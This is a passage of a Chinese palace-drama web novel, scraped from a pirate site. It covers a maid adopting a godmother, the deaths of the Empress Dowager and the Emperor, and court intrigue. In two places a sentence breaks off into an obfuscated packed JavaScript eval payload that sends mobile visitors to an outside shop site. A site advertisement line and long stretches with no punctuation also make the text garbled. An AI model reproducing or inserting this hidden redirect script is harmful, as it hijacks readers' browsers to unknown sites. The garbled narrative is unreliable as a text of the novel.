“竹清姐姐,管宫女的管事霜玉姑姑想要见您呢!竹清刚忙完,忽的霜玉姑姑就寻她去吃酒。 像霜玉姑姑这样的管事在宫中能单独住一个隔间,虽然不算大,但是好歹不用与人挤。 竹清到的时候,这儿不止霜玉姑姑,还有一个雯棉姑姑。 “两位姑姑快坐,我来烫酒。竹清赶忙放下手上提过来的吃食,一边忙活去了。 待三个人坐下吃酒,雯棉姑姑就笑了笑,“看你,把人家竹清叫来却又不说话,没得叫人心里七上八下,你个锯嘴葫芦。 “嗯?霜玉姑姑有事找我麽? “可不是,算得上大事了。”雯棉姑姑帮好友回话,她叹气,说道:“霜玉自个不成亲,她有银钱有屋子,日子滋润。可是她的父母哟,以孝道压她,让她把银钱给几个哥哥弟弟,还有她的两间房屋,他们也让她过给弟弟作成亲的住处。” “霜玉姑姑在宫里面,一个月就几日出宫,他们也去霜玉姑姑的宅子里闹事麽?”见雯棉姑姑点头,竹清再次庆幸自个没有任何亲人,不然麻烦多。 “你不知道,霜玉是被父母卖进宫的,宫里有他们认识的同村人,霜玉领的月例、住的地儿,他们都知道,这如何能摆脱?”雯棉姑姑说,“霜玉也不是犹犹豫豫的人,她曾经想过与他们断绝关系的,奈何三番四次不成。” 直到此时,霜玉姑姑才开口道:“他们想要我的身家,我偏偏不如他们的意。不就是觉得我没有儿女,看着无人送终麽?”她看向竹清,说道:“我想认你为干女儿,你可愿意?日后我的一切都留给你,你给我养老送终,可好?” “我管着新进宫的宫女们,你是伺候太子妃的,将来身份地位比我更高,我也不教你吃亏,你想要甚麽都可以开口。”霜玉姑姑说。 雯棉姑姑今儿是来做个见证的,若竹清答应,她便为她们两个张罗宴席,把相熟的人都叫上吃一顿饭。 干娘……竹清没有立马答应,而是陷入了沉思,认干爹干娘在宫中是件很正常的事,特别是一些老太监老嬷嬷,家里不管不顾的,就会在宫里找一个心善的小宫女小太监养老。 但是竹清从前从没有想过要认干娘,一来多了一份责任,没得带来麻烦事儿,日后看不惯霜玉姑姑的人连带着不喜她。 二来,她自己本身就是一个寡情的人,如何与人相处出感情? “霜玉姑姑,我自小被卖进王府,实在是不知如何与亲人相处。”竹清委婉地说道,与霜玉姑姑更亲近可能会发现脾性不合,别交好不成反而成了交恶。 “这个无妨。我岂是那种不讲道理的人?你认了我,我平常不寻你,有好吃的好顽的,我自会带你一个。这样完全不会耽搁你在东宫的差事,如何?”霜玉姑姑说,“你要是25岁想要出宫了,便去我那院子住着,无事的时候插花弄草、找戏班子来唱戏都要得。” 这也就是为甚麽 她家里人一直不肯放过她,这样舒坦的日子谁不想过?可惜,她宁愿给竹清大把大把的银子,也不愿意让那些恶心人过好日子。 “霜玉姑姑,我打算留在宫里。竹清摇摇头,雯棉姑姑一听,倒是不惊讶,“我看你这股心气儿,就知道你不是个轻易离开的人。留在宫里,自有你的一番天地。 “如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340634|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜玉姑姑不嫌弃,那我便烦扰你了。想了许多,竹清终于下定决心,反正不吃大亏的事,做! “甚好甚好。霜玉姑姑平静的脸上终于露出笑容,她说,“我喜欢你,看见你就像看见了从前的自己。这也算我们有缘分,来,吃酒。 “还不快快给干娘倒酒。雯棉姑姑催促,她没有干女儿干儿子,不过也能理解霜玉姑姑激动的样子。 毕竟往后就是有了一个与自个有关系的人了,好好相处着,也不比血亲差的。 “干娘。竹清倒了一杯酒,又举起自己的酒杯,随后霜玉姑姑与她碰杯,应了她的这一声干娘。 “这感情好啊,我替你们张罗宴席,待过个几日,把他们都请过来,正正经经地敬茶,往后你们就是一家子人,旁人想欺负你们,都得掂量掂量。雯棉姑姑拍手叫好,竹清既然已经答应,凭着她与霜玉姑姑的情分,她看向竹清的眼神里就带上了几分看自家小辈的慈祥。 “以后有甚麽不懂的,或者教人暗地里欺负了,你只管来找我们两个,我们给你出气。 甭看竹清是太子妃身边的人旁人就不敢欺辱她,宫里头欺负人的手段层出不穷,她可能吃亏了都不知道怎麽回事。 “知道了,我要是有不解的,干娘别嫌弃我叨叨就好。竹清说,有了这一层关系,以后她的行事自然更加便利。 具体的结亲日子还需要找人算一算。竹清也不急,她赶在下钥前回了东宫,恰好见皇太孙从正院里出来。 “皇太孙。 “竹清姐姐。皇太孙说,他脸上有些疲惫,这些天都住在勤政殿,跟着太子做事,竹清都有很长一段时间没有见过他了。 “皇太孙瘦了,可是这段时间劳累了?皇太孙要注意自个的身子。竹清劝他。 皇太孙笑了笑说道:“竹清姐姐说的我都知道。”他还有事与竹清不过聊了两句就急匆匆地离开了跟在他身后的是几个脸生的小太监竹清并没有见过。 前几日听得御前出了一桩事伺候皇太孙的小太监心思不轨怂恿皇太孙堕落皇帝发了好大一通脾气把皇太孙身边的人通通换了一遍现在皇太孙身边伺候的都是从其他地方调过来的磨练过的。 “竹清明日你替我送一些东西去勤政殿琮哥儿瞧着小脸尖尖的想必是没有好好吃饭明日你带些小厨房制好的饭菜去亲自看着他吃了这才好。”太子妃难过皇太孙跟着皇帝连她也不得多见。 今日恍然一看才发觉小大人一般的琮哥儿身子抽拔了长高同时消瘦。 “欸。”竹清说她安慰道:“太子妃也别太伤心担忧皇太孙在御前待遇自然是好的只怕是皇太孙自个操心不想吃。” “他不想吃旁人怎的不劝一劝?”似乎是想到了新来的小太监们胆子小不敢多言语太子妃话锋一转说道:“那个当父亲的也不管管琮哥儿还小懂甚麽啊。他只顾着自己何曾想过儿子?” 一想到皇太孙的模样太子妃就心疼连带着对太子的埋怨也更加深了。偏偏她是女子不能出入勤政殿也只好教竹清去一趟看看皇太孙过得如何。 “太子妃。”竹清唤了她一声“隔墙有耳。”虽然正院里都是信得过的宫女太监但是也不能由着太子妃一直发牢骚。 “罢了。”太子妃说“我不便到御前你悄悄地去带上我亲自做的手帕荷包给琮哥儿带上……” 她絮絮叨叨了一大堆都是些零碎的方面 “奴婢省得了太子妃累了一天了快歇息罢明日还要去侍疾呢。”竹清朝门口的宫女招招手说道:“太子妃要洗漱去唤人来。” * 翌日竹清早已打听好寻了一个适中的时候来勤政殿。 勤政殿外没有一丝一毫的声音侍卫们看着竹清走过远远地就看见她来的太监提着衣摆走下石阶问竹清“姑娘是来干甚麽的。” “我是东宫的管事叫竹清奉太子妃的命来给太子以及 皇太孙送东西。”竹清搬出身份,果不其然就见面前一脸淡然的太监脸色热络起来,忙在前边带路,说道:“哟原来是竹清姐姐,姐姐头一回来,咱们都没有见过,一时认不出也是有的。” “我知你们往日里忙碌,认不认得原也不重要,这会儿不就认得了?来日我还来,见了公公你,也知道你是谁了。”竹清客客气气地与太监说了一通,在无人看见的地儿又给他塞了银子。 小太监领了,介绍道:“姐姐还不知罢,太子是住在东侧殿,皇太孙住在西侧殿,现下太子有差事在身出去了,皇太孙在,我领姐姐过去。” 到了西侧殿,光是廊道上就守着两队人,共十八个,小太监先进去禀报了,竹清这才得以入内。 “竹清姐姐怎的来了?看座。”皇太孙见她手上提着东西,就大概猜到是母亲吩咐她来的,他问,“可是母亲想我了?” “是呢,太子妃吩咐奴婢送一些衣裳还有吃食来给太子以及皇太孙。”竹清把东西放下,又从食篮子里拿出两碗甜汤,见皇太孙喝光了,她又说道:“皇太孙喜欢小厨房做的甜汤,太子妃定会高兴。” 竹清观察完西侧殿,恰好陛下唤皇太孙过去,她也就顺势退下了。 如此过了几日,雯棉姑姑把宴席张罗好了,竹清便向太子妃告假,“认了干娘,奴婢要早些过去帮衬着。” “既然是这样的大日子,我教小厨房赏几道菜给你拿过去,也长长脸面,可好?”太子妃说,她对于竹清认谁作干娘都无甚感觉,有也好没有也罢,碍不着甚。 “日后有了牵挂的人,日子就不孤独了。”太子妃感叹,“往日瞧你孤单单的,想必今后就不同了。” “奴婢谢太子妃赏赐,与干娘投缘,咱们两个作了亲人,相互也好有个倚靠,不至于孤零零。”竹清说。 作者有话要说 第 68 章 太后薨逝 第68章太后薨逝 为了使大家下值都方便来参宴,这回的宴是在宫里面的管事院儿里办的。左右都是霜玉姑姑相熟的人,对于他们吵闹一宿也没有意见。 竹清去到霜玉姑姑住处的时候,像雯棉姑姑还有林忠海他们已经到了,见了她,林忠海态度明显真切不少。 从前他与竹清只是利益关系,现在竹清是霜玉姑姑的干女儿,那麽他自然就多了几分真心。 “哟,还带了甚麽来?”雯棉姑姑问,她嗔怪道:“都说了这些物什都由我张罗,你只管来个人,亲亲热热地与霜玉姑姑认了亲,这也就是了,你还带了东西来?这是甚麽?” “是了,都是一家人了,还带这些,可不是生疏了?”林忠海也随口几句,将这里衬得热闹。 雯棉姑姑打开竹清带来的食篮子,里头赫然放着几道精致可口的饭菜,以她的眼力见,足以知道这不是御膳房的手艺。 “这是太子妃赏赐我的,知道我有喜事,故而赐了几道菜,都是东宫正院的小厨房做的,味道一点不差。”竹清解释道,她今个穿戴俱都富贵张扬,教人一看就明白她心情不错。 因着进了宫,先前王府的那些男厨子就不能带进宫,故而东宫里头只剩下女厨子,倒是也渐渐得了主子们的喜爱。 女厨子更舍得下时间去琢磨吃食,可不是合了主子们的意? 霜玉姑姑把竹清叫了过去,说道:“来,我给你介绍介绍我认识的人。”她带着竹清走了一圈,把这二十多个姑姑嬷嬷的姓名、当的差事都说个明白,待竹清记住了,她又说,“去罢,帮着备宴。” 一个富态的姑姑赞叹道:“霜玉姑姑这回可是有福气了,瞧瞧她那动作,干净利落不说,还镇得住场子,果真不错。” “可不是,她就不需要我操心。”霜玉姑姑大夸特夸,道:“她这个孩子,自从答应了与我结亲,每日来瞧我不说,还时常带些好菜好酒来服侍我喝几杯,要说起贴心,再没有比她更妥帖的了。” 霜玉姑姑从前不理解旁人为何能日日夸赞自个的后辈,可是当她有了干女儿,这个干女儿还每日来逗她高兴,她这才体会到,原来有个感情好的小辈是这样一件鲜活的事。 往后她 就不再是一个人了。 “你也是熬出来了,有了竹清,日后那起子人再来如何你,你就只管与他们说,你的一切通通留给干女儿,与他们没有半个铜板的关系。 霜玉姑姑颔首,“我省得的,岂能教他们占了便宜去? 在吃席之前,竹清还要与霜玉姑姑敬茶。霜玉姑姑高坐上首,竹清跪在她前边,她拿起托盘中的茶碗,递给霜玉姑姑,口中说道:“娘亲喝茶。 “欸。霜玉姑姑连喝几口,又把一个玉葫芦放在竹清手心,“保平安用的,切记一直带着。 “好。竹清应了,看她们礼成,雯棉姑姑笑得开怀,“好好好,这下子咱们的小辈又多了一个,竹清,日后有难处的,只管去寻我们。 来观礼的人都点头,竹清需要他们,他们也需要竹清。 两桌儿宴席很快摆好,这些菜大部分都是霜玉姑姑使了银子,叫御膳房的熟人做的,剩下的一些熟食则是托了人从外头带进来。 竹清跟着霜玉姑姑挨个敬酒,待到后边,霜玉姑姑明显喝醉了,竹清还帮她挡着点,“各位姑姑公公,我替我娘亲喝,你们只管与我碰杯。 “你个憨货,我可是逮着这天,想让霜玉姑姑喝个酩酊大醉的。林忠海笑骂竹清,他说,“你个小娘子懂甚麽喝酒,你们都悠着点,等下竹清醉了,霜玉姑姑明日醒来要与我们发脾气了。 他这麽提醒,也是不想竹清真的吃醉。 一行人混闹到日上柳梢头,竹清把他们送走了,雯棉姑姑替好友高兴,喝了不少,走的时候还是扶着墙的。 “娘亲,我扶您。竹清扶着霜玉姑姑洗漱了,又替她盖好被子,今个她得了益处,也不见得累。 起码这些管事的对她是真的和气了,而不是面子上的虚伪。 有了一个干娘对竹清无甚麻烦事儿,霜玉姑姑是个内敛的性子,往常不常找她,都是她得了空,去瞧瞧她。 快到深秋,太后病得愈发重了,她与皇帝不同,连太医们对她的病都束手无策,这是年纪大了,自然衰老。太医们医术再好,也不能与老天爷抢人。 太子妃照旧去侍疾,只是前几日还能与她说上几句的太后今儿却认不得她了,整个人迷迷瞪瞪,到了下响,她甚至昏迷不醒。 皇帝、太子以及皇太孙都到了寿仁宫后妃们不得入内便站在院子里等着淑贵妃憔悴了好多日往常她姗姗来迟这回却来得最早因着可以瞧见太子。 自从太子被记在了皇后名下甚至办了宴席来昭告天下淑贵妃就知道太子真的与她没有任何关系了。 “娘娘。”贴身宫女拉住了淑贵妃她怕淑贵妃见了太子就甚麽都顾不得了。 太子目不斜视仿佛没有看见淑贵妃连一个眼神都不曾施舍给她仍由这个恋子心切的女子抛在身后。 在皇帝到了寿仁宫不久后太监那尖锐的声音就响彻整个寿仁宫“太后娘娘薨了!” 沉重的巨钟声在皇宫内回荡一连几下教皇城内的宫女太监以及皇宫外的百姓都知晓:太后娘娘不在了。 皇后有条不紊地吩咐宫人准备丧礼按照仪制太后的棺椁要在寿仁宫停灵七天然后才能运去皇陵。 皇帝给太后上了第一炷香太后临死前曾清醒了一瞬她拉着他的手说道:“皇帝你虽然并非哀家亲生但是哀家还是希望你把琮哥儿教好他是个好孩子以后都要交到他手上……” 只是……太后说这话的时候并没有让人回避当时太子也在里头他也听见了。 太子脸上不免不悦甚至有几分愤愤。 他知道太后的话是真心实意的想法可是也不能教太子听了去不然岂不是教太子与皇太孙有了纷争? 如皇帝所想太子的确不喜皇太孙曾几何时他还是王爷的时候皇太孙的聪慧能给他长脸 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节)他也乐意让旁人知道皇太孙的聪明。 可是在他当上了太子皇太孙的聪慧却将他压得黯淡无光就像有没有他这个太子都不重要大文需要的是皇太孙而不是他。 这叫他如何平静? 太后薨逝各家的夫人们赶忙进宫服丧人虽然多但是并没有人敢吵闹。 七天后皇帝下旨让太子扶灵把太后的棺椁送去京郊的皇陵。 如此宫中就不再有太后了连同太后身边伺候的人也要重新分去其他宫里。 只唯有一个人特殊——太后的贴身嬷嬷罗嬷嬷。 皇后把罗嬷嬷唤到椒房殿“罗嬷嬷是伺候太后 的老人了,往后可有想去的宫?亦或是想去宫外? “老奴一把年纪了,再去宫里伺候主子们难免力不从心,还请皇后娘娘开恩,叫老奴出宫去守皇陵罢。罗嬷嬷说,她陪着主子从皇后到太后,几十年了,见了多少肮脏事情? 她早就累了,若不是想陪着太后,她这会儿已经在宫外了。 罗嬷嬷的脸上带着一抹哀伤,到底伺候了太后那麽多年,与太后感情深厚,如今太后一去,她也垮了。 “那便按照你自己的意思,本宫让你出宫去。 罗嬷嬷已经确定了要出宫去皇陵,只是在临走前,她托人寻了竹清,悄悄的,没有引起旁人的注意。 “我还以为你会晚些来。罗嬷嬷摸着膝盖骨,看着竹清轻手轻脚地走进来,她说,“我瞧你与十年前倒是并无区别。 “长开了。竹清笑着说,“不知罗嬷嬷找我有甚麽事。她摸了摸袖口,那里面有一块成色极好的玉佩,正是罗嬷嬷给她的。 “十年前你帮过我,于我有救命之恩,这个恩情我一直没有报答你,如今我要走了,你有甚麽办不成的事,只管说说,我帮得上的,定会帮你。罗嬷嬷说,她不是个欠债不还的性子。 “我暂时没有甚麽事。竹清从袖口拿出玉佩,“这块玉佩还请罗嬷嬷拿走罢,物归原主。 算起来,竹清这是第二回单独与罗嬷嬷说话,比之十年前那个在除夕夜中气十足的罗娘子,这会儿的罗嬷嬷真的老了。 这一招以退为进让罗嬷嬷抬头,她有些摸不准竹清的意思,到底是真的不想麻烦她,还是想要更多? “你甭觉得太后娘娘薨逝了我就落难,我在宫里有不少认识的人,帮你做一件事不难的。 竹清却摇摇头,说道:“我现在伺候太子妃,再没有烦恼的事。这话当然是假的,实际上她是一次性想要更多,毕竟罗嬷嬷一走,可谓是人走茶凉。 “罢了,既然你自个没有需要我的地方,我只与你说一件事,小心皇太孙身边的老师们,皇太孙还小,可经不起折腾。罗嬷嬷意味深长地说,竹清蹭的一下站起身,严肃着脸,问她,“罗嬷嬷这话是甚麽意思? “无甚意思, 我老了不想掺和这些事你只管看着皇太孙就好了。”罗嬷嬷摆摆手“行了这一句话的提醒已经足够你且回去罢。” “罗嬷嬷!”竹清唤她声音竟有一丝尖利。不怪她这个模样皇太孙有多重要? “你再问我我也是不知道的只不过是我偶然听见的事真不真还不一定。”罗嬷嬷说罢就不再言语。任由竹清如何询问都闭口不言。 这样的话她也不会与皇帝皇后说万一被灭口怎麽办?她从来不小瞧天家的心狠手辣。 她不是不心疼皇太孙只是坏就坏在她是在太后薨逝之后才得知的没有了靠山岂能随意出头? 无法竹清只能离开了。 对于罗嬷嬷来说帮竹清一个小忙倒不如帮她一个大忙皇太孙要是有事竹清跟着太子妃日子绝对比之前要差。 罗嬷嬷想也算是回报她了。 一路上竹清都在琢磨罗嬷嬷的话皇太孙身边的太监们都是皇帝精挑细选出来的应该不敢危害皇太孙。 只有教导皇太孙学术与骑术的这些老师们会有自己的心思。就像罗嬷嬷提到的老师们他们有自己的家族有自己的利益关系哪怕皇太孙地位定了他们也不会十成十地效忠他。 所以……那麽多老师当中到底谁会想要对皇太孙下手? 林林总总的竹清算了算皇太孙的老师一共有十二位如何从这十二位中准确地抓出那个人? 愁啊! 关乎到皇太孙的大事肯定不能瞒着太子妃竹清想好了措辞便去正院等着太子妃回来。 待太子妃满身疲惫地回到东宫竹清就与她说“……罗嬷嬷是这样说的只是她也不确定真假。她欠奴婢干娘一个人情偏偏奴婢干娘是个无欲无求的性子故而她把恩情报到了奴婢身上 太子妃先是震惊随后陷入到愤怒中压根儿没有听清竹清后边说的话她咬牙切齿地说道:“罗嬷嬷是伺候太后的没有根据的事她如何敢与你说?她想必是知道了甚麽!” “太子妃!”竹清扶住了摇摇欲坠的太子妃她心疼地说道:“太子妃注意自个的身子。” “我如何注意?琮哥儿还不满十一岁恁小一不小心遭了暗算 可怎麽办?万一、万一他像陛下一样坏了身子……”太子妃陷入了恐慌当中她一想到儿子受苦受罪一颗心肝就扯着疼。 “太子妃莫急这样的事咱们暗中调查着定会有结果的。”竹清说太子妃的儿子只有一个但是太子可不是万一皇太孙有事日后继承江山的就换人了。 教太子妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340635|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何不急? “咱们细细想办法抓出那个对皇太孙图谋不轨的人只是不知那个人效忠谁?”竹清低声说道是哪个想要谋朝篡位的王爷?还是一直蠢蠢欲动的外族人? “太多了。”太子妃叹气他们针对的如果不是太子那麽范围就大了去了。 “你说我把罗嬷嬷叫过来问问她她会与咱们说麽?”太子妃问她现在着急忙慌感觉脑子里裹进了一团面糊。 “太子妃那罗嬷嬷若是想说早就说了何必等到您唤她来这儿?况且咱们要是让她来少不得教皇后娘娘过问岂不是打草惊蛇?”竹清安抚住太子妃又说道:“现下最重要的是查出来是谁然后禀告陛下护住皇太孙才是。” 太子妃听了竹清的劝告也明白是这麽一回事她点点头就着竹清的手喝了好几口凉茶好不容易才找回思绪。 * 皇城内有人击鼓鸣冤说文术县的县令草菅人命不管县中庸医横行导致百姓受苦受难。 陛下派了官员去查这件事一查不得了竟发现众多吃过庸医的药的百姓都是身形枯槁神情疯疯癫癫甚至有的还会对亲朋好友动手嘴里喊着旁人听不懂的话。 这事移交到了刑部刑部尚书重视此事连夜去查结果教人大跌眼镜他们往常从不在意的香儿果居然会致人上瘾而且一旦沾染根本不可能舍弃反而一天不吃都会发疯进而把所有靠近的人当作敌人。 皇后趁机进言“陛下臣妾觉得香儿果从前不受重视说不得有些物什里头也会混进这些果子 如此一通下去正正好查出交州知州贡进来的青颜玉里头有香儿果除此之外旁的果酒里也有。 顿时陛下恼怒了交州知州以及青州的一个县令被解押进京。 这还不止在勤学殿的两个哥儿的用具里 也发现了香儿果的粉末这下子陛下震怒 钟公公没能顶上先前禄东公公的缺儿这次宫中上下一清洗空出来了许多位置又教他得了机会。 这不思来想去他找上了竹清。 竹清伺候太子妃但是到底不是太子妃管着后宫所以从前钟公公也不会往这边使劲儿。可是竹清当了霜玉姑姑的干女儿这个就不同了。 这宫里头凡是与霜玉姑姑认识的哪个不带着她?凭着这一层干系钟公公就带了厚礼来想请竹清帮帮他。 “竹清姑娘你也知道我虽然说是当个首领太监但是那宫殿又不是住着得宠的主子我这身份高不成低不就的就想着趁此机会换一个地儿呆那殿中省有几个好位子我也是想努努力。”钟公公说他亲自给竹清倒了茶水。 “钟公公管的是宫殿对于殿中省也会麽?”竹清问她倒是想到了不若让钟公公搭上太子妃教太子妃帮帮钟公公往后在殿中省她们也算是有了自己的人。 别的不说殿中省日日去勤政殿送东西能接触到皇太孙的机会比她们多得多了。 竹清让钟公公稍等片刻随后去与太子妃说了其中的利益关系太子妃也觉得竹清说得在理殿中省听命于陛下往后就是听从太子的可不归她管她不若趁现在插一些人手进去? 如此太子妃有了决定过了十来日钟公公就调入了殿中省。 * 自从太后薨逝后陛下的病也更加严重了呕血的次数不少甚至有一回在早朝上也忽的昏厥满朝文武俱都惊慌失措陪着上朝的太子以及皇太孙更甚惊叫着喊太医。 陛下昏厥了好几日连太医都隐晦地说道:“陛下忧思忧虑底子愈发虚透这般下去再多的药也抵不住几天的。皇后娘娘还是要多劝一劝陛下微臣开的药不敢过于猛烈得搭配着平日里的静养才能有效果。” 皇后一脸忧愁她拧着眉头坐在一边听了太医的话“本宫都知道了待陛下醒了本宫会规劝着点的你们先下去开药。记得开一些温和的药物。”陛下的身子可经不起折腾。 “是微臣这就去。”太医院 院判躬身退下皇后又看向太子温和地说道:“太子你常常陪伴在陛下身边也多劝说着点陛下再这样劳累下去人都要垮了。” “母后儿臣知道了。”太子说今早陛下一晕厥把他都吓了一跳如今皇后这样说他也赶紧应了。 “本宫打算请大华宝寺的法师们来为陛下诵经祈福顺带做两场法事太子你觉得如何?”太子是储君皇后少不得要和他商议。 “儿臣觉得很好母后做主即可。”太子说“除此之外不若教宫中宝罗殿的法师们抄写经文为父皇祷告两相齐下说不得效果更好。” “嗯你的心思缜密周全就按照你说的做这事交由太子妃负责罢你可有意见?”皇后问陛下这个样子她这些天的精力定然都要放在他身上没空去管法师们。 “儿臣觉得甚好。” 这样一层层安排下去竹清也接了活她得在皇城门口去接进宫的大华宝寺的法师们。 皇后的懿旨大华宝寺的主持不敢耽搁赶忙让修行多年的法师们进宫故而第二日竹清就见到了八位法师。 “诸位这边请。”竹清说只是不巧刚走了一段路她们恰好与另外一行人撞上了正是宫中宝罗殿的法师们。 对面让她们先行竹清便不客气了带着人离去在她身后的几个法师都微微抬头一副赢了的模样。 待他们走后宝罗殿的一个年青法师愤愤不平道:“师傅凭甚麽让他们先行?宫外的法师哪儿比得上咱们?” 说起来这也是有渊源的。 在宫里的法师觉得高人一等瞧不起外头的法师外面的又觉得宫里头的法师装相也看不惯他们。 反正有机会碰在一起 尽管面和心不和但是对于差事法师们还是尽心尽力去做奈何上天似乎不如他们的意在深秋的一个夜里陛下呕出几口血整个人面色苍白一句话都说不出来。 大臣们顶着大雨进宫他们候在殿外似乎在等待着甚麽。 作者有话要说 第 69 章 竹清成了椒房殿的掌事宫女 第69章竹清成了椒房殿的掌事宫女 轰隆隆的雷声一直不断,大雨时急时缓,竹清自廊道走过,衣摆已经被斜斜打进来的雨滴扫湿,她放下油纸伞,静静地候在殿外。 陛下已经醒了,醒来的第一件事就是与皇后在单独说话,连太子都不得入内,故而竹清只能随着太子妃在外头等着。 “皇后。”陛下靠在大抱枕上,轻轻地唤了一声,皇后神色复杂,若不是她时刻注意着,只怕听不见陛下这有气无力的叫唤。 “臣妾在。”皇后说,“陛下有甚麽想与臣妾说的?” “朕老了,你却容颜依旧,朕方才做梦,梦见了你随朕逼宫的时候……”陛下说着就开始咳嗽,皇后赶忙捧了止咳汤与他喝,并且略有些无奈地说道:“陛下合该乖乖养病才是,过去的事何必再想?” “皇后,若朕不在了,你一定要看好太子,不要让他坏了琮哥儿。”陛下最不放心的就是琮哥儿,他一死,琮哥儿当上太子,与皇帝就是对立的关系。 没有哪个帝王喜欢过于聪慧的储君,帝王一旦开始提防着太子,就证明太子的处境已危险。 “臣妾自当多看顾琮哥儿。”皇后点点头,她虽然争权夺利,但到底站在大文的立场来考虑事情,琮哥儿有明君之质,断然不能半路夭折。 陛下与皇后说完话,又陆陆续续传了太子、皇太孙以及一些重臣进去,不知他们说了一些甚麽,只见他们出来后,神色各异。倒是太子,明显地有一些愤懑不满。 一道雷劈下,忽的就有太监尖利的声音自殿内传来,随后所有人跪地,竟都在一瞬间哭了出来。巨大的钟声在黑夜中显得尤为清晰,连同宫外的百姓以及勋贵都听见了。 皇帝驾崩了。 竹清跪在太子妃身后,心里没有多少悲呛,反倒是身体微微颤抖,激动得不行。 她从太子妃的贴身宫女变成皇后娘娘的贴身宫女了! 丧仪是殿中省早已准备好的,这会儿宫女太监们一忙碌,整个皇宫就都变成了一片死气沉沉的白色。 皇帝的丧仪比太后的还要隆重,且太后薨逝,民间嫁娶停一年,皇帝驾崩,民间嫁娶停三年,甚至在头一年,各家各户都不能出现鲜亮的红色。 有些人在心里感慨,得亏太后与皇帝同一年走了,守孝省了许多时间。 竹清服侍太子妃换了一身素色的衣裳,所有珠光宝气的首饰都摘下来,戴上一朵白色的珠花,并几样同样颜色的小首饰即可。 “竹清。”太子妃忽的唤了一声,仔细听,她的声音微微抖动,她握着竹清的手,深呼吸几下,随后低声说道:“我,我……”她就要成为皇后了! “太子妃。”竹清拍了拍太子妃的手,教她平复心情,“快了快了。” 待封后大典一成,太子妃就成了名正言顺的皇后,连同她,身份地位也不可同日而语。 深秋的风很是刺骨,加之大雨一直没有停,诸多事情都不方便。竹清跟在太子妃身后接待入宫的女眷们,她们不管是国公府的夫人还是亲王妃,对太子妃都十分客气有礼。 “老夫人这边请。”竹清正领着一位伯府的老夫人去殿后方,这位老夫人上了年纪,长时间跪着有些受不住。 只是竹清不知道的是,这位老夫人一直瞧着她,眼神中透露打量,有些满意,又犹犹豫豫。 “老夫人请坐。”竹清吩咐小宫女上茶,“去叫殿中省取些炭火来,每个让人暂时歇息的宫殿都备上。” “是。”小宫女应了,这才出去。 “这位姑娘不知叫什么名儿?年纪轻轻就常伴太子妃身边,想必很能干罢?”老夫人问,她心中有些想法,故而对竹清比较热络。 “回老夫人的话,奴婢叫竹清,伺候太子妃的笨手笨脚可不行,大家都是机灵的。”竹清说,一句话,夸了别人又夸了自己,也就是承认老夫人所说的,她就是能干! “看竹清姑娘的发饰,想必还没有成亲,不知竹清姑娘有没有婚约了?亦或是有没有心上人。”老夫人问得慢,倒是不掩饰自己的意思,竹清立即明白,这个老夫人想要做红娘。 “没呢。”竹清说,老夫人顿时眼睛一亮,“哟这不是巧了麽?我有一小孙儿,正是好年华的时候,与竹清姑娘,正正好相配,不知竹清姑娘可有意思?” 一般而言,这些伯府的公子哥儿是绝对不会娶一个奴婢的,奈何这个永定伯府已经到了强弩之末的时候,爵位已经传了三代,下一代就是白身了。 所以竹清也 能理解老夫人的想法,长子嫡孙娶门户相当的姐儿娘子,没出息的小孙儿娶一个得器重的宫女,以亲近皇后娘娘,两相齐下。 虽然会被嘲讽利益熏心,但是等到真正的好处往永定伯府里进,旁人也就只剩下了羡慕嫉妒的份儿。 “老夫人的孙儿必定文武双全,又是那样金尊玉贵的养大的,奴婢这样的身份,如何匹配?”竹清委婉地说道,“老夫人可别戏弄奴婢,不然奴婢在太子妃跟前说漏嘴了,反倒叫太子妃听了一场戏去。” 老夫人一听,觉得眼前的姑娘很是厉害,能搬出太子妃压自己,可是这不恰恰好合她的意麽?有这样一个厉害的娘子压着,她的小孙儿也就不会混作了。 “老夫人,太子妃现下忙,奴婢便去瞧瞧有没有帮得上的,还请老夫人歇息,有甚麽事就找小宫女。”竹清不欲与她掰扯,寻了一个挑不出错儿的借口,很快就从后殿溜走了。 不独是永定伯府的老夫人,还有旁的夫人拐弯抹角地打探竹清的婚事,在利益面前,她们却是能让步的。 多市侩? 直直到太子妃跟前问的也有一两个,太子妃被问烦了,只回她一句,“她要自梳。” 贵族们表面上的礼仪出不得错,但是暗地里的肮脏想法那是层出不穷,就连在皇帝丧礼期间都能低声说婚嫁的事。 皇帝的棺椁要在宸昭殿停灵七天,这七天众人都受苦受罪,待皇太孙奉命送棺椁去皇陵,整个皇宫才忽的安静下来。 没有了日夜不停的锣鼓声,也没有了满天飞舞的经幡,更没有了刺鼻的烛火味道。 一切又变回了原本的模样。只不过在皇位上坐着的,是从前的太子。 “登基大典的事宜就交由六部以及殿中省协商,钦天监算好日子,然后再来回朕。”尽管还没有登基,但是太子已经迫不及待地凌驾于众人之上。 诸位大臣皆跪地,口中说道:“谨遵陛下圣意。”除此之外,还有两道圣旨是要立刻颁布的,一道是尊皇后为皇太后,一道是册封太子妃为皇后。 “奉天承运皇帝,诏曰:朕惟赞宫廷之延庆、王化必原于宫壸。芳流彤史、母仪用式于家邦。咨尔太子妃姜氏,系出高闳,雍和纯粹,勤勉柔顺。夙著懿称,宜膺茂典,兹仰遵慈谕,命以册宝、立尔为皇 后。尔其祗承景命 